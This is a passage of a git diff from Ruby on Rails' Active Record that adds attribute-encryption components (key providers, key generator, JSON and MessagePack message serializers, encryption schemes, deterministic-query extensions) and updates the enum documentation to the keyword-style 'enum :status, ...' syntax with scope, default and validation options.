+        # Under certain threshold, ZIP compression is actually worse that not compressing
+        def compress_if_worth_it(string)
+          if compress? && string.bytesize > THRESHOLD_TO_JUSTIFY_COMPRESSION
+            [compress(string), true]
+          else
+            [string, false]
+          end
+        end
+
+        def compress(data)
+          @compressor.deflate(data).tap do |compressed_data|
+            compressed_data.force_encoding(data.encoding)
+          end
+        end
+
+        def uncompress_if_needed(data, compressed)
+          if compressed
+            uncompress(data)
+          else
+            data
+          end
+        end
+
+        def uncompress(data)
+          @compressor.inflate(data).tap do |uncompressed_data|
+            uncompressed_data.force_encoding(data.encoding)
+          end
+        end
+
+        def force_encoding_if_needed(value)
+          if forced_encoding_for_deterministic_encryption && value && value.encoding != forced_encoding_for_deterministic_encryption
+            value.encode(forced_encoding_for_deterministic_encryption, invalid: :replace, undef: :replace)
+          else
+            value
+          end
+        end
+
+        def forced_encoding_for_deterministic_encryption
+          ActiveRecord::Encryption.config.forced_encoding_for_deterministic_encryption
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb b/activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb
new file mode 100644
index 0000000000000..0f67aa10b14e6
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # Implements a simple envelope encryption approach where:
+    #
+    # * It generates a random data-encryption key for each encryption operation.
+    # * It stores the generated key along with the encrypted payload. It encrypts this key
+    #   with the master key provided in the +active_record_encryption.primary_key+ credential.
+    #
+    # This provider can work with multiple master keys. It will use the last one for encrypting.
+    #
+    # When +config.active_record.encryption.store_key_references+ is true, it will also store a reference to
+    # the specific master key that was used to encrypt the data-encryption key. When not set,
+    # it will try all the configured master keys looking for the right one, in order to
+    # return the right decryption key.
+    class EnvelopeEncryptionKeyProvider
+      def encryption_key
+        random_secret = generate_random_secret
+        ActiveRecord::Encryption::Key.new(random_secret).tap do |key|
+          key.public_tags.encrypted_data_key = encrypt_data_key(random_secret)
+          key.public_tags.encrypted_data_key_id = active_primary_key.id if ActiveRecord::Encryption.config.store_key_references
+        end
+      end
+
+      def decryption_keys(encrypted_message)
+        secret = decrypt_data_key(encrypted_message)
+        secret ? [ActiveRecord::Encryption::Key.new(secret)] : []
+      end
+
+      def active_primary_key
+        @active_primary_key ||= primary_key_provider.encryption_key
+      end
+
+      private
+        def encrypt_data_key(random_secret)
+          ActiveRecord::Encryption.cipher.encrypt(random_secret, key: active_primary_key.secret)
+        end
+
+        def decrypt_data_key(encrypted_message)
+          encrypted_data_key = encrypted_message.headers.encrypted_data_key
+          key = primary_key_provider.decryption_keys(encrypted_message)&.collect(&:secret)
+          ActiveRecord::Encryption.cipher.decrypt encrypted_data_key, key: key if key
+        end
+
+        def primary_key_provider
+          @primary_key_provider ||= DerivedSecretKeyProvider.new(ActiveRecord::Encryption.config.primary_key)
+        end
+
+        def generate_random_secret
+          ActiveRecord::Encryption.key_generator.generate_random_key
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/errors.rb b/activerecord/lib/active_record/encryption/errors.rb
new file mode 100644
index 0000000000000..8bd44292f1a33
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/errors.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    module Errors
+      class Base < StandardError; end
+      class Encoding < Base; end
+      class Decryption < Base; end
+      class Encryption < Base; end
+      class Configuration < Base; end
+      class ForbiddenClass < Base; end
+      class EncryptedContentIntegrity < Base; end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/extended_deterministic_queries.rb b/activerecord/lib/active_record/encryption/extended_deterministic_queries.rb
new file mode 100644
index 0000000000000..02a55edfd5ba9
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/extended_deterministic_queries.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # Automatically expand encrypted arguments to support querying both encrypted and unencrypted data
+    #
+    # Active Record \Encryption supports querying the db using deterministic attributes. For example:
+    #
+    #   Contact.find_by(email_address: "jorge@hey.com")
+    #
+    # The value "jorge@hey.com" will get encrypted automatically to perform the query. But there is
+    # a problem while the data is being encrypted. This won't work. During that time, you need these
+    # queries to be:
+    #
+    #   Contact.find_by(email_address: [ "jorge@hey.com", "<encrypted jorge@hey.com>" ])
+    #
+    # This patches ActiveRecord to support this automatically. It addresses both:
+    #
+    # * ActiveRecord::Base - Used in <tt>Contact.find_by_email_address(...)</tt>
+    # * ActiveRecord::Relation - Used in <tt>Contact.internal.find_by_email_address(...)</tt>
+    #
+    # This module is included if `config.active_record.encryption.extend_queries` is `true`.
+    module ExtendedDeterministicQueries
+      def self.install_support
+        # ActiveRecord::Base relies on ActiveRecord::Relation (ActiveRecord::QueryMethods) but it does
+        # some prepared statements caching. That's why we need to intercept +ActiveRecord::Base+ as soon
+        # as it's invoked (so that the proper prepared statement is cached).
+        ActiveRecord::Relation.prepend(RelationQueries)
+        ActiveRecord::Base.include(CoreQueries)
+        ActiveRecord::Encryption::EncryptedAttributeType.prepend(ExtendedEncryptableType)
+      end
+
+      # When modifying this file run performance tests in
+      # +activerecord/test/cases/encryption/performance/extended_deterministic_queries_performance_test.rb+
+      # to make sure performance overhead is acceptable.
+      #
+      # @TODO We will extend this to support previous "encryption context" versions in future iterations
+      # @TODO Experimental. Support for every kind of query is pending
+      # @TODO It should not patch anything if not needed (no previous schemes or no support for previous encryption schemes)
+
+      module EncryptedQuery # :nodoc:
+        class << self
+          def process_arguments(owner, args, check_for_additional_values)
+            owner = owner.model if owner.is_a?(Relation)
+
+            return args if owner.deterministic_encrypted_attributes&.empty?
+
+            if args.is_a?(Array) && (options = args.first).is_a?(Hash)
+              options = options.transform_keys do |key|
+                if key.is_a?(Array)
+                  key.map(&:to_s)
+                else
+                  key.to_s
+                end
+              end
+              args[0] = options
+
+              owner.deterministic_encrypted_attributes&.each do |attribute_name|
+                attribute_name = attribute_name.to_s
+                type = owner.type_for_attribute(attribute_name)
+                if !type.previous_types.empty? && value = options[attribute_name]
+                  options[attribute_name] = process_encrypted_query_argument(value, check_for_additional_values, type)
+                end
+              end
+            end
+
+            args
+          end
+
+          private
+            def process_encrypted_query_argument(value, check_for_additional_values, type)
+              return value if check_for_additional_values && value.is_a?(Array) && value.last.is_a?(AdditionalValue)
+
+              case value
+              when String, Array
+                list = Array(value)
+                list + list.flat_map do |each_value|
+                  if check_for_additional_values && each_value.is_a?(AdditionalValue)
+                    each_value
+                  else
+                    additional_values_for(each_value, type)
+                  end
+                end
+              else
+                value
+              end
+            end
+
+            def additional_values_for(value, type)
+              type.previous_types.collect do |additional_type|
+                AdditionalValue.new(value, additional_type)
+              end
+            end
+        end
+      end
+
+      module RelationQueries
+        def where(*args)
+          super(*EncryptedQuery.process_arguments(self, args, true))
+        end
+
+        def exists?(*args)
+          super(*EncryptedQuery.process_arguments(self, args, true))
+        end
+
+        def scope_for_create
+          return super unless model.deterministic_encrypted_attributes&.any?
+
+          scope_attributes = super
+          wheres = where_values_hash
+
+          model.deterministic_encrypted_attributes.each do |attribute_name|
+            attribute_name = attribute_name.to_s
+            values = wheres[attribute_name]
+            if values.is_a?(Array) && values[1..].all?(AdditionalValue)
+              scope_attributes[attribute_name] = values.first
+            end
+          end
+
+          scope_attributes
+        end
+      end
+
+      module CoreQueries
+        extend ActiveSupport::Concern
+
+        class_methods do
+          def find_by(*args)
+            super(*EncryptedQuery.process_arguments(self, args, false))
+          end
+        end
+      end
+
+      class AdditionalValue
+        attr_reader :value, :type
+
+        def initialize(value, type)
+          @type = type
+          @value = process(value)
+        end
+
+        private
+          def process(value)
+            type.serialize(value)
+          end
+      end
+
+      module ExtendedEncryptableType
+        def serialize(data)
+          if data.is_a?(AdditionalValue)
+            data.value
+          else
+            super
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator.rb b/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator.rb
new file mode 100644
index 0000000000000..68265bd44c7d9
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    module ExtendedDeterministicUniquenessValidator
+      def self.install_support
+        ActiveRecord::Validations::UniquenessValidator.prepend(EncryptedUniquenessValidator)
+      end
+
+      module EncryptedUniquenessValidator
+        def validate_each(record, attribute, value)
+          super(record, attribute, value)
+
+          klass = record.class
+          if klass.deterministic_encrypted_attributes&.include?(attribute)
+            encrypted_type = klass.type_for_attribute(attribute)
+            encrypted_type.previous_types.each do |type|
+              encrypted_value = type.serialize(value)
+              ActiveRecord::Encryption.without_encryption do
+                super(record, attribute, encrypted_value)
+              end
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/key.rb b/activerecord/lib/active_record/encryption/key.rb
new file mode 100644
index 0000000000000..d87b350d6dd8c
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/key.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A key is a container for a given +secret+
+    #
+    # Optionally, it can include +public_tags+. These tags are meant to be stored
+    # in clean (public) and can be used, for example, to include information that
+    # references the key for a future retrieval operation.
+    class Key
+      attr_reader :secret, :public_tags
+
+      def initialize(secret)
+        @secret = secret
+        @public_tags = Properties.new
+      end
+
+      def self.derive_from(password)
+        secret = ActiveRecord::Encryption.key_generator.derive_key_from(password)
+        ActiveRecord::Encryption::Key.new(secret)
+      end
+
+      def id
+        Digest::SHA1.hexdigest(secret).first(4)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/key_generator.rb b/activerecord/lib/active_record/encryption/key_generator.rb
new file mode 100644
index 0000000000000..6411f48ecbbf5
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/key_generator.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module ActiveRecord
+  module Encryption
+    # Utility for generating and deriving random keys.
+    class KeyGenerator
+      attr_reader :hash_digest_class
+
+      def initialize(hash_digest_class: ActiveRecord::Encryption.config.hash_digest_class)
+        @hash_digest_class = hash_digest_class
+      end
+
+      # Returns a random key. The key will have a size in bytes of +:length+ (configured +Cipher+'s length by default)
+      def generate_random_key(length: key_length)
+        SecureRandom.random_bytes(length)
+      end
+
+      # Returns a random key in hexadecimal format. The key will have a size in bytes of +:length+ (configured +Cipher+'s
+      # length by default)
+      #
+      # Hexadecimal format is handy for representing keys as printable text. To maximize the space of characters used, it is
+      # good practice including not printable characters. Hexadecimal format ensures that generated keys are representable with
+      # plain text
+      #
+      # To convert back to the original string with the desired length:
+      #
+      #   [ value ].pack("H*")
+      def generate_random_hex_key(length: key_length)
+        generate_random_key(length: length).unpack("H*")[0]
+      end
+
+      # Derives a key from the given password. The key will have a size in bytes of +:length+ (configured +Cipher+'s length
+      # by default)
+      #
+      # The generated key will be salted with the value of +ActiveRecord::Encryption.key_derivation_salt+
+      def derive_key_from(password, length: key_length)
+        ActiveSupport::KeyGenerator.new(password, hash_digest_class: hash_digest_class)
+          .generate_key(key_derivation_salt, length)
+      end
+
+      private
+        def key_derivation_salt
+          @key_derivation_salt ||= ActiveRecord::Encryption.config.key_derivation_salt
+        end
+
+        def key_length
+          @key_length ||= ActiveRecord::Encryption.cipher.key_length
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/key_provider.rb b/activerecord/lib/active_record/encryption/key_provider.rb
new file mode 100644
index 0000000000000..548c9a41885b2
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/key_provider.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A +KeyProvider+ serves keys:
+    #
+    # * An encryption key
+    # * A list of potential decryption keys. Serving multiple decryption keys supports rotation-schemes
+    #   where new keys are added but old keys need to continue working
+    class KeyProvider
+      def initialize(keys)
+        @keys = Array(keys)
+      end
+
+      # Returns the last key in the list as the active key to perform encryptions
+      #
+      # When +ActiveRecord::Encryption.config.store_key_references+ is true, the key will include
+      # a public tag referencing the key itself. That key will be stored in the public
+      # headers of the encrypted message
+      def encryption_key
+        @encryption_key ||= @keys.last.tap do |key|
+          key.public_tags.encrypted_data_key_id = key.id if ActiveRecord::Encryption.config.store_key_references
+        end
+
+        @encryption_key
+      end
+
+      # Returns the list of decryption keys
+      #
+      # When the message holds a reference to its encryption key, it will return an array
+      # with that key. If not, it will return the list of keys.
+      def decryption_keys(encrypted_message)
+        if encrypted_message.headers.encrypted_data_key_id
+          keys_grouped_by_id[encrypted_message.headers.encrypted_data_key_id]
+        else
+          @keys
+        end
+      end
+
+      private
+        def keys_grouped_by_id
+          @keys_grouped_by_id ||= @keys.group_by(&:id)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/message.rb b/activerecord/lib/active_record/encryption/message.rb
new file mode 100644
index 0000000000000..e7cfe1651766f
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/message.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A message defines the structure of the data we store in encrypted attributes. It contains:
+    #
+    # * An encrypted payload
+    # * A list of unencrypted headers
+    #
+    # See Encryptor#encrypt
+    class Message
+      attr_accessor :payload, :headers
+
+      def initialize(payload: nil, headers: {})
+        validate_payload_type(payload)
+
+        @payload = payload
+        @headers = Properties.new(headers)
+      end
+
+      def ==(other_message)
+        payload == other_message.payload && headers == other_message.headers
+      end
+
+      private
+        def validate_payload_type(payload)
+          unless payload.is_a?(String) || payload.nil?
+            raise ActiveRecord::Encryption::Errors::ForbiddenClass, "Only string payloads allowed"
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/message_pack_message_serializer.rb b/activerecord/lib/active_record/encryption/message_pack_message_serializer.rb
new file mode 100644
index 0000000000000..6eab6753feb08
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/message_pack_message_serializer.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "active_support/message_pack"
+
+module ActiveRecord
+  module Encryption
+    # A message serializer that serializes +Messages+ with MessagePack.
+    #
+    # The message is converted to a hash with this structure:
+    #
+    #   {
+    #     p: <payload>,
+    #     h: {
+    #       header1: value1,
+    #       header2: value2,
+    #       ...
+    #     }
+    #   }
+    #
+    # Then it is converted to the MessagePack format.
+    class MessagePackMessageSerializer
+      def dump(message)
+        raise Errors::ForbiddenClass unless message.is_a?(Message)
+        ActiveSupport::MessagePack.dump(message_to_hash(message))
+      end
+
+      def load(serialized_content)
+        data = ActiveSupport::MessagePack.load(serialized_content)
+        hash_to_message(data, 1)
+      rescue RuntimeError
+        raise Errors::Decryption
+      end
+
+      def binary?
+        true
+      end
+
+      private
+        def message_to_hash(message)
+          {
+            "p" => message.payload,
+            "h" => headers_to_hash(message.headers)
+          }
+        end
+
+        def headers_to_hash(headers)
+          headers.transform_values do |value|
+            value.is_a?(Message) ? message_to_hash(value) : value
+          end
+        end
+
+        def hash_to_message(data, level)
+          validate_message_data_format(data, level)
+          Message.new(payload: data["p"], headers: parse_properties(data["h"], level))
+        end
+
+        def validate_message_data_format(data, level)
+          if level > 2
+            raise Errors::Decryption, "More than one level of hash nesting in headers is not supported"
+          end
+
+          unless data.is_a?(Hash) && data.has_key?("p")
+            raise Errors::Decryption, "Invalid data format: hash without payload"
+          end
+        end
+
+        def parse_properties(headers, level)
+          Properties.new.tap do |properties|
+            headers&.each do |key, value|
+              properties[key] = value.is_a?(Hash) ? hash_to_message(value, level + 1) : value
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/message_serializer.rb b/activerecord/lib/active_record/encryption/message_serializer.rb
new file mode 100644
index 0000000000000..7e08242c285e9
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/message_serializer.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require "base64"
+
+module ActiveRecord
+  module Encryption
+    # A message serializer that serializes +Messages+ with JSON.
+    #
+    # The generated structure is pretty simple:
+    #
+    #   {
+    #     p: <payload>,
+    #     h: {
+    #       header1: value1,
+    #       header2: value2,
+    #       ...
+    #     }
+    #   }
+    #
+    # Both the payload and the header values are encoded with Base64
+    # to prevent JSON parsing errors and encoding issues when
+    # storing the resulting serialized data.
+    class MessageSerializer
+      def load(serialized_content)
+        data = JSON.parse(serialized_content)
+        parse_message(data, 1)
+      rescue JSON::ParserError
+        raise ActiveRecord::Encryption::Errors::Encoding
+      end
+
+      def dump(message)
+        raise ActiveRecord::Encryption::Errors::ForbiddenClass unless message.is_a?(ActiveRecord::Encryption::Message)
+        JSON.dump message_to_json(message)
+      end
+
+      def binary?
+        false
+      end
+
+      private
+        def parse_message(data, level)
+          validate_message_data_format(data, level)
+          ActiveRecord::Encryption::Message.new(payload: decode_if_needed(data["p"]), headers: parse_properties(data["h"], level))
+        end
+
+        def validate_message_data_format(data, level)
+          if level > 2
+            raise ActiveRecord::Encryption::Errors::Decryption, "More than one level of hash nesting in headers is not supported"
+          end
+
+          unless data.is_a?(Hash) && data.has_key?("p")
+            raise ActiveRecord::Encryption::Errors::Decryption, "Invalid data format: hash without payload"
+          end
+        end
+
+        def parse_properties(headers, level)
+          ActiveRecord::Encryption::Properties.new.tap do |properties|
+            headers&.each do |key, value|
+              properties[key] = value.is_a?(Hash) ? parse_message(value, level + 1) : decode_if_needed(value)
+            end
+          end
+        end
+
+        def message_to_json(message)
+          {
+            p: encode_if_needed(message.payload),
+            h: headers_to_json(message.headers)
+          }
+        end
+
+        def headers_to_json(headers)
+          headers.transform_values do |value|
+            value.is_a?(ActiveRecord::Encryption::Message) ? message_to_json(value) : encode_if_needed(value)
+          end
+        end
+
+        def encode_if_needed(value)
+          if value.is_a?(String)
+            ::Base64.strict_encode64 value
+          else
+            value
+          end
+        end
+
+        def decode_if_needed(value)
+          if value.is_a?(String)
+            ::Base64.strict_decode64(value)
+          else
+            value
+          end
+        rescue ArgumentError, TypeError
+          raise Errors::Encoding
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/null_encryptor.rb b/activerecord/lib/active_record/encryption/null_encryptor.rb
new file mode 100644
index 0000000000000..4041e95a69684
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/null_encryptor.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # An encryptor that won't decrypt or encrypt. It will just return the passed
+    # values
+    class NullEncryptor
+      def encrypt(clean_text, key_provider: nil, cipher_options: {})
+        clean_text
+      end
+
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+
+      def encrypted?(text)
+        false
+      end
+
+      def binary?
+        false
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/properties.rb b/activerecord/lib/active_record/encryption/properties.rb
new file mode 100644
index 0000000000000..1ab80fbb2844f
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/properties.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # This is a wrapper for a hash of encryption properties. It is used by
+    # +Key+ (public tags) and +Message+ (headers).
+    #
+    # Since properties are serialized in messages, it is important for storage
+    # efficiency to keep their keys as short as possible. It defines accessors
+    # for common properties that will keep these keys very short while exposing
+    # a readable name.
+    #
+    #   message.headers.encrypted_data_key # instead of message.headers[:k]
+    #
+    # See +Properties::DEFAULT_PROPERTIES+, Key, Message
+    class Properties
+      ALLOWED_VALUE_CLASSES = [String, ActiveRecord::Encryption::Message, Numeric, Integer, Float, BigDecimal, TrueClass, FalseClass, Symbol, NilClass]
+
+      delegate_missing_to :data
+      delegate :==, :[], :each, :key?, to: :data
+
+      # For each entry it generates an accessor exposing the full name
+      DEFAULT_PROPERTIES = {
+        encrypted_data_key: "k",
+        encrypted_data_key_id: "i",
+        compressed: "c",
+        iv: "iv",
+        auth_tag: "at",
+        encoding: "e"
+      }
+
+      DEFAULT_PROPERTIES.each do |name, key|
+        define_method name do
+          self[key.to_sym]
+        end
+
+        define_method "#{name}=" do |value|
+          self[key.to_sym] = value
+        end
+      end
+
+      def initialize(initial_properties = {})
+        @data = {}
+        add(initial_properties)
+      end
+
+      # Set a value for a given key
+      #
+      # It will raise an +EncryptedContentIntegrity+ if the value exists
+      def []=(key, value)
+        raise Errors::EncryptedContentIntegrity, "Properties can't be overridden: #{key}" if key?(key)
+        validate_value_type(value)
+        data[key] = value
+      end
+
+      def validate_value_type(value)
+        unless ALLOWED_VALUE_CLASSES.include?(value.class) || ALLOWED_VALUE_CLASSES.any? { |klass| value.is_a?(klass) }
+          raise ActiveRecord::Encryption::Errors::ForbiddenClass, "Can't store a #{value.class}, only properties of type #{ALLOWED_VALUE_CLASSES.inspect} are allowed"
+        end
+      end
+
+      def add(other_properties)
+        other_properties.each do |key, value|
+          self[key.to_sym] = value
+        end
+      end
+
+      def to_h
+        data
+      end
+
+      private
+        attr_reader :data
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/read_only_null_encryptor.rb b/activerecord/lib/active_record/encryption/read_only_null_encryptor.rb
new file mode 100644
index 0000000000000..173be25f49ac3
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/read_only_null_encryptor.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A +NullEncryptor+ that will raise an error when trying to encrypt data
+    #
+    # This is useful when you want to reveal ciphertexts for debugging purposes
+    # and you want to make sure you won't overwrite any encryptable attribute with
+    # the wrong content.
+    class ReadOnlyNullEncryptor
+      def encrypt(clean_text, key_provider: nil, cipher_options: {})
+        raise Errors::Encryption, "This encryptor is read-only"
+      end
+
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+
+      def encrypted?(text)
+        false
+      end
+
+      def binary?
+        false
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/scheme.rb b/activerecord/lib/active_record/encryption/scheme.rb
new file mode 100644
index 0000000000000..77720904d1fdb
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/scheme.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A container of attribute encryption options.
+    #
+    # It validates and serves attribute encryption options.
+    #
+    # See EncryptedAttributeType, Context
+    class Scheme
+      attr_accessor :previous_schemes
+
+      def initialize(key_provider: nil, key: nil, deterministic: nil, support_unencrypted_data: nil, downcase: nil, ignore_case: nil,
+                     previous_schemes: nil, compress: true, compressor: nil, **context_properties)
+        # Initializing all attributes to +nil+ as we want to allow a "not set" semantics so that we
+        # can merge schemes without overriding values with defaults. See +#merge+
+
+        @key_provider_param = key_provider
+        @key = key
+        @deterministic = deterministic
+        @support_unencrypted_data = support_unencrypted_data
+        @downcase = downcase || ignore_case
+        @ignore_case = ignore_case
+        @previous_schemes_param = previous_schemes
+        @previous_schemes = Array.wrap(previous_schemes)
+        @context_properties = context_properties
+        @compress = compress
+        @compressor = compressor
+
+        validate_config!
+
+        @context_properties[:encryptor] = Encryptor.new(compress: @compress) unless @compress
+        @context_properties[:encryptor] = Encryptor.new(compressor: compressor) if compressor
+      end
+
+      def ignore_case?
+        @ignore_case
+      end
+
+      def downcase?
+        @downcase
+      end
+
+      def deterministic?
+        !!@deterministic
+      end
+
+      def support_unencrypted_data?
+        @support_unencrypted_data.nil? ? ActiveRecord::Encryption.config.support_unencrypted_data : @support_unencrypted_data
+      end
+
+      def fixed?
+        # by default deterministic encryption is fixed
+        @fixed ||= @deterministic && (!@deterministic.is_a?(Hash) || @deterministic[:fixed])
+      end
+
+      def key_provider
+        @key_provider_param || key_provider_from_key || deterministic_key_provider || default_key_provider
+      end
+
+      def merge(other_scheme)
+        self.class.new(**to_h, **other_scheme.to_h)
+      end
+
+      def to_h
+        { key_provider: @key_provider_param, deterministic: @deterministic, downcase: @downcase, ignore_case: @ignore_case,
+          previous_schemes: @previous_schemes_param, **@context_properties }.compact
+      end
+
+      def with_context(&block)
+        if @context_properties.present?
+          ActiveRecord::Encryption.with_encryption_context(**@context_properties, &block)
+        else
+          block.call
+        end
+      end
+
+      def compatible_with?(other_scheme)
+        deterministic? == other_scheme.deterministic?
+      end
+
+      private
+        def validate_config!
+          raise Errors::Configuration, "ignore_case: can only be used with deterministic encryption" if @ignore_case && !@deterministic
+          raise Errors::Configuration, "key_provider: and key: can't be used simultaneously" if @key_provider_param && @key
+          raise Errors::Configuration, "compressor: can't be used with compress: false" if !@compress && @compressor
+          raise Errors::Configuration, "compressor: can't be used with encryptor" if @compressor && @context_properties[:encryptor]
+        end
+
+        def key_provider_from_key
+          @key_provider_from_key ||= if @key.present?
+            DerivedSecretKeyProvider.new(@key)
+          end
+        end
+
+        def deterministic_key_provider
+          @deterministic_key_provider ||= if @deterministic
+            DeterministicKeyProvider.new(ActiveRecord::Encryption.config.deterministic_key)
+          end
+        end
+
+        def default_key_provider
+          ActiveRecord::Encryption.key_provider
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
index 0ab03b2ab36bf..4e4fff6eff58b 100644
--- a/activerecord/lib/active_record/enum.rb
+++ b/activerecord/lib/active_record/enum.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/deep_dup"
 
 module ActiveRecord
@@ -5,7 +7,7 @@ module ActiveRecord
   # but can be queried by name. Example:
   #
   #   class Conversation < ActiveRecord::Base
-  #     enum status: [ :active, :archived ]
+  #     enum :status, [ :active, :archived ]
   #   end
   #
   #   # conversation.update! status: 0
@@ -29,7 +31,9 @@ module ActiveRecord
   # as well. With the above example:
   #
   #   Conversation.active
+  #   Conversation.not_active
   #   Conversation.archived
+  #   Conversation.not_archived
   #
   # Of course, you can also query them directly if the scopes don't fit your
   # needs:
@@ -37,19 +41,33 @@ module ActiveRecord
   #   Conversation.where(status: [:active, :archived])
   #   Conversation.where.not(status: :active)
   #
-  # You can set the default value from the database declaration, like:
+  # Defining scopes can be disabled by setting +:scopes+ to +false+.
   #
-  #   create_table :conversations do |t|
-  #     t.column :status, :integer, default: 0
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ], scopes: false
   #   end
   #
-  # Good practice is to let the first declared status be the default.
+  # You can set the default enum value by setting +:default+, like:
   #
-  # Finally, it's also possible to explicitly map the relation between attribute and
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ], default: :active
+  #   end
+  #
+  #   conversation = Conversation.new
+  #   conversation.status # => "active"
+  #
+  # It's possible to explicitly map the relation between attribute and
   # database integer with a hash:
   #
   #   class Conversation < ActiveRecord::Base
-  #     enum status: { active: 0, archived: 1 }
+  #     enum :status, active: 0, archived: 1
+  #   end
+  #
+  # Finally it's also possible to use a string column to persist the enumerated value.
+  # Note that this will likely lead to slower database queries:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, active: "active", archived: "archived"
   #   end
   #
   # Note that when an array is used, the implicit mapping from the values to database
@@ -64,7 +82,7 @@ module ActiveRecord
   #
   # In rare circumstances you might need to access the mapping directly.
   # The mappings are exposed through a class method with the pluralized attribute
-  # name, which return the mapping in a +HashWithIndifferentAccess+:
+  # name, which return the mapping in a ActiveSupport::HashWithIndifferentAccess :
   #
   #   Conversation.statuses[:active]    # => 0
   #   Conversation.statuses["archived"] # => 1
@@ -74,14 +92,14 @@ module ActiveRecord
   #
   #   Conversation.where("status <> ?", Conversation.statuses[:archived])
   #
-  # You can use the +:_prefix+ or +:_suffix+ options when you need to define
+  # You can use the +:prefix+ or +:suffix+ options when you need to define
   # multiple enums with same values. If the passed value is +true+, the methods
   # are prefixed/suffixed with the name of the enum. It is also possible to
   # supply a custom value:
   #
   #   class Conversation < ActiveRecord::Base
-  #     enum status: [:active, :archived], _suffix: true
-  #     enum comments_status: [:active, :inactive], _prefix: :comments
+  #     enum :status, [ :active, :archived ], suffix: true
+  #     enum :comments_status, [ :active, :inactive ], prefix: :comments
   #   end
   #
   # With the above example, the bang and predicate methods along with the
@@ -92,141 +110,298 @@ module ActiveRecord
   #
   #   conversation.comments_inactive!
   #   conversation.comments_active? # => false
-
+  #
+  # If you want to disable the auto-generated methods on the model, you can do
+  # so by setting the +:instance_methods+ option to false:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ], instance_methods: false
+  #   end
+  #
+  # By default, an +ArgumentError+ will be raised when assigning an invalid value:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ]
+  #   end
+  #
+  #   conversation = Conversation.new
+  #
+  #   conversation.status = :unknown # 'unknown' is not a valid status (ArgumentError)
+  #
+  # If, instead, you want the enum value to be validated before saving, use the
+  # +:validate+ option:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ], validate: true
+  #   end
+  #
+  #   conversation = Conversation.new
+  #
+  #   conversation.status = :unknown
+  #   conversation.valid? # => false
+  #
+  #   conversation.status = nil
+  #   conversation.valid? # => false
+  #
+  #   conversation.status = :active
+  #   conversation.valid? # => true
+  #
+  # You may also pass additional validation options:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum :status, [ :active, :archived ], validate: { allow_nil: true }
+  #   end
+  #
+  #   conversation = Conversation.new
+  #
+  #   conversation.status = :unknown
+  #   conversation.valid? # => false
+  #
+  #   conversation.status = nil
+  #   conversation.valid? # => true
+  #
